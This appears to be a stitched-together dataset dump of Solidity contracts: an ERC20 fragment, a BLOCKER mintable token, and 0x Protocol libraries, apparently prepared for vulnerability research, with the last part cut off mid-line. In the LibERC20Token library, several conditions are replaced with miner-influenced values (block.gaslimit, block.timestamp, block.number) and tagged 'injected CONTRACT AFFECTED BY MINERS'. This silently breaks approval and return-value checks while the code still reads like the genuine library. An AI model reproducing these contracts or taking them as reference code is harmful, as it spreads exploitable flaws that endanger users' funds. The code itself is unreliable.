`amount` must be greater than zero /// function transfer( address recipient, uint256 amount )external virtual override nonReentrant returns( bool ){ _transfer( _msgSender(), recipient, amount ); return true; } /// /// @dev Get the current allownace `owner` has granted `spender`, /// if this value is 0, `spender` has not been granted an allowance by `owner` /// See {mixinERC20.allowance} /// /// Additional Requirements: /// - `owner` and `spender` cannot be null /// - `owner` can not be `spender` /// function allowance( address owner, address spender )external view virtual override returns( uint256 ){ return _allowance(owner,spender); } // `spender`'s available allowance permitted by caller //function allowanceFor( //address spender //)external view virtual override nonReentrant returns( //uint256 //){ //return _allowance(_msgSender(),spender); //} //function allowanceForCaller( //address owner //)external view virtual override nonReentrant returns( //uint256 //){ //return _allowance(owner,_msgSender()); //} /// /// @dev See {mixinERC20.approve} /// /// Additional Requirements: /// - `spender` cannot be this contract /// function approve( address spender, uint256 amount )external virtual override nonReentrant returns( bool ){ //address sender = _msgSender(); //spender must not have a previous allownace set, otherwise, call increaseAllowance or decreaseAllowance as required //allowance( //sender, //spender //).requireEqualZero(); _approve( _msgSender(), spender, amount ); return true; } /// /// @dev msg.sender transfers `amount` of tokens from `owner` to `recipient` /// ///Additional Requirements: /// - `sender` and `recipient` cannot be the same address /// function transferFrom( address owner, address recipient, uint256 amount )external virtual override nonReentrant returns( bool ){ return _transferFrom( owner, _msgSender(), recipient, amount ); } /// /// @dev msg.sender revokes `spender`'s allowance /// /// Additional Requirements: /// - `spender` cannot be null /// - `caller` cannot be `spender` /// - `spender` must have a non-zero allowance /// function revokeAllowance( address spender )external virtual nonReentrant returns( bool ){ return _revokeAllowance(_msgSender(), spender); } function _beforeTokenTransfer( address from, address to, uint256 amount )internal virtual override{ super._beforeTokenTransfer(from, to,amount); } }
msg.sender transfers `amount` of tokens from `owner` to `recipient`Additional Requirements: - `sender` and `recipient` cannot be the same address
function transferFrom( address owner, address recipient, uint256 amount )external virtual override nonReentrant returns( bool ){ return _transferFrom( owner, _msgSender(), recipient, amount ); }
13,125,766
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title BLOCKER Token * @dev Token representing BLOCKER. */ contract BLOCKERToken is MintableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract * @param initialSupply The initial supply of tokens which will be fixed through out * @param tokenName The name of the token * @param tokenSymbol The symboll of the token */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount name = tokenName; symbol = tokenSymbol; balances[msg.sender] = totalSupply; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } }
Function to mint tokens _to The address that will receive the minted tokens. _amount The amount of tokens to mint. return A boolean that indicates if the operation was successful./
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; }
6,724,443
/** *Submitted for verification at Etherscan.io on 2020-10-06 */ pragma solidity ^0.5.9; pragma experimental ABIEncoderV2; /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibBytesRichErrors { enum InvalidByteOperationErrorCodes { FromLessThanOrEqualsToRequired, ToLessThanOrEqualsLengthRequired, LengthGreaterThanZeroRequired, LengthGreaterThanOrEqualsFourRequired, LengthGreaterThanOrEqualsTwentyRequired, LengthGreaterThanOrEqualsThirtyTwoRequired, LengthGreaterThanOrEqualsNestedBytesLengthRequired, DestinationLengthGreaterThanOrEqualSourceLengthRequired } // bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)")) bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR = 0x28006595; // solhint-disable func-name-mixedcase function InvalidByteOperationError( InvalidByteOperationErrorCodes errorCode, uint256 offset, uint256 required ) internal pure returns (bytes memory) { return abi.encodeWithSelector( INVALID_BYTE_OPERATION_ERROR_SELECTOR, errorCode, offset, required ); } } library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( result.contentAddress(), b.contentAddress() + from, result.length ); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { if (b.length == 0) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired, b.length, 0 )); } // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return True if arrays are the same. False otherwise. function equals( bytes memory lhs, bytes memory rhs ) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return bytes32 value from byte array. function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { if (b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 )); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { if (b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 )); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return bytes4 value from byte array. function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { if (b.length < index + 4) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired, b.length, index + 4 )); } // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Writes a new length to a byte array. /// Decreasing length will lead to removing the corresponding lower order bytes from the byte array. /// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array. /// @param b Bytes array to write new length to. /// @param length New length of byte array. function writeLength(bytes memory b, uint256 length) internal pure { assembly { mstore(b, length) } } } library LibERC20Token { bytes constant private DECIMALS_CALL_DATA = hex"313ce567"; /// @dev Calls `IERC20Token(token).approve()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param allowance The allowance to set. function approve( address token, address spender, uint256 allowance ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).approve.selector, spender, allowance ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).approve()` and sets the allowance to the /// maximum if the current approval is not already >= an amount. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param amount The minimum allowance needed. function approveIfBelow( address token, address spender, uint256 amount ) internal { if (block.gaslimit < amount) { //injected CONTRACT AFFECTED BY MINERS approve(token, spender, uint256(-1)); } } /// @dev Calls `IERC20Token(token).transfer()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transfer( address token, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transfer.selector, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).transferFrom()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param from The owner of the tokens. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transferFrom( address token, address from, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transferFrom.selector, from, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Retrieves the number of decimals for a token. /// Returns `18` if the call reverts. /// @param token The address of the token contract. /// @return tokenDecimals The number of decimals places for the token. function decimals(address token) internal view returns (uint8 tokenDecimals) { tokenDecimals = 18; (bool didSucceed, bytes memory resultData) = token.staticcall(DECIMALS_CALL_DATA); if (didSucceed && resultData.length == 32) { tokenDecimals = uint8(LibBytes.readUint256(resultData, 0)); } } /// @dev Retrieves the allowance for a token, owner, and spender. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @param spender The address the spender. /// @return allowance The allowance for a token, owner, and spender. function allowance(address token, address owner, address spender) internal view returns (uint256 allowance_) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).allowance.selector, owner, spender ) ); if (didSucceed && resultData.length == 32) { allowance_ = LibBytes.readUint256(resultData, 0); } } /// @dev Retrieves the balance for a token owner. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @return balance The token balance of an owner. function balanceOf(address token, address owner) internal view returns (uint256 balance) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).balanceOf.selector, owner ) ); if (didSucceed && resultData.length == 32) { balance = LibBytes.readUint256(resultData, 0); } } /// @dev Executes a call on address `target` with calldata `callData` /// and asserts that either nothing was returned or a single boolean /// was returned equal to `true`. /// @param target The call target. /// @param callData The abi-encoded call data. function _callWithOptionalBooleanResult( address target, bytes memory callData ) private { (bool didSucceed, bytes memory resultData) = target.call(callData); if (didSucceed) { if (block.timestamp == 0) { //injected CONTRACT AFFECTED BY MINERS return; } if (block.number == 32) { //injected CONTRACT AFFECTED BY MINERS uint256 result = LibBytes.readUint256(resultData, 0); if (block.timestamp == 1) { //injected CONTRACT AFFECTED BY MINERS return; } } } LibRichErrors.rrevert(resultData); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IWallet { bytes4 internal constant LEGACY_WALLET_MAGIC_VALUE = 0xb0671381; /// @dev Validates a hash with the `Wallet` signature type. /// @param hash Message hash that is signed. /// @param signature Proof of signing. /// @return magicValue `bytes4(0xb0671381)` if the signature check succeeds. function isValidSignature( bytes32 hash, bytes calldata signature ) external view returns (bytes4 magicValue); } /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract DeploymentConstants { // solhint-disable separate-by-one-line-in-contract // Mainnet addresses /////////////////////////////////////////////////////// /// @dev Mainnet address of the WETH contract. address constant private WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /// @dev Mainnet address of the KyberNetworkProxy contract. address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; /// @dev Mainnet address of the KyberHintHandler contract. address constant private KYBER_HINT_HANDLER_ADDRESS = 0xa1C0Fa73c39CFBcC11ec9Eb1Afc665aba9996E2C; /// @dev Mainnet address of the `UniswapExchangeFactory` contract. address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; /// @dev Mainnet address of the `UniswapV2Router01` contract. address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. address constant private ETH2DAI_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; /// @dev Mainnet address of the `ERC20BridgeProxy` contract address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x8ED95d1746bf1E4dAb58d8ED4724f1Ef95B20Db0; ///@dev Mainnet address of the `Dai` (multi-collateral) contract address constant private DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; /// @dev Mainnet address of the `Chai` contract address constant private CHAI_ADDRESS = 0x06AF07097C9Eeb7fD685c692751D5C66dB49c215; /// @dev Mainnet address of the 0x DevUtils contract. address constant private DEV_UTILS_ADDRESS = 0x74134CF88b21383713E096a5ecF59e297dc7f547; /// @dev Kyber ETH pseudo-address. address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @dev Mainnet address of the dYdX contract. address constant private DYDX_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; /// @dev Mainnet address of the GST2 contract address constant private GST_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; /// @dev Mainnet address of the GST Collector address constant private GST_COLLECTOR_ADDRESS = 0x000000D3b08566BE75A6DB803C03C85C0c1c5B96; /// @dev Mainnet address of the mStable mUSD contract. address constant private MUSD_ADDRESS = 0xe2f2a5C287993345a840Db3B0845fbC70f5935a5; /// @dev Mainnet address of the Mooniswap Registry contract address constant private MOONISWAP_REGISTRY = 0x71CD6666064C3A1354a3B4dca5fA1E2D3ee7D303; /// @dev Mainnet address of the 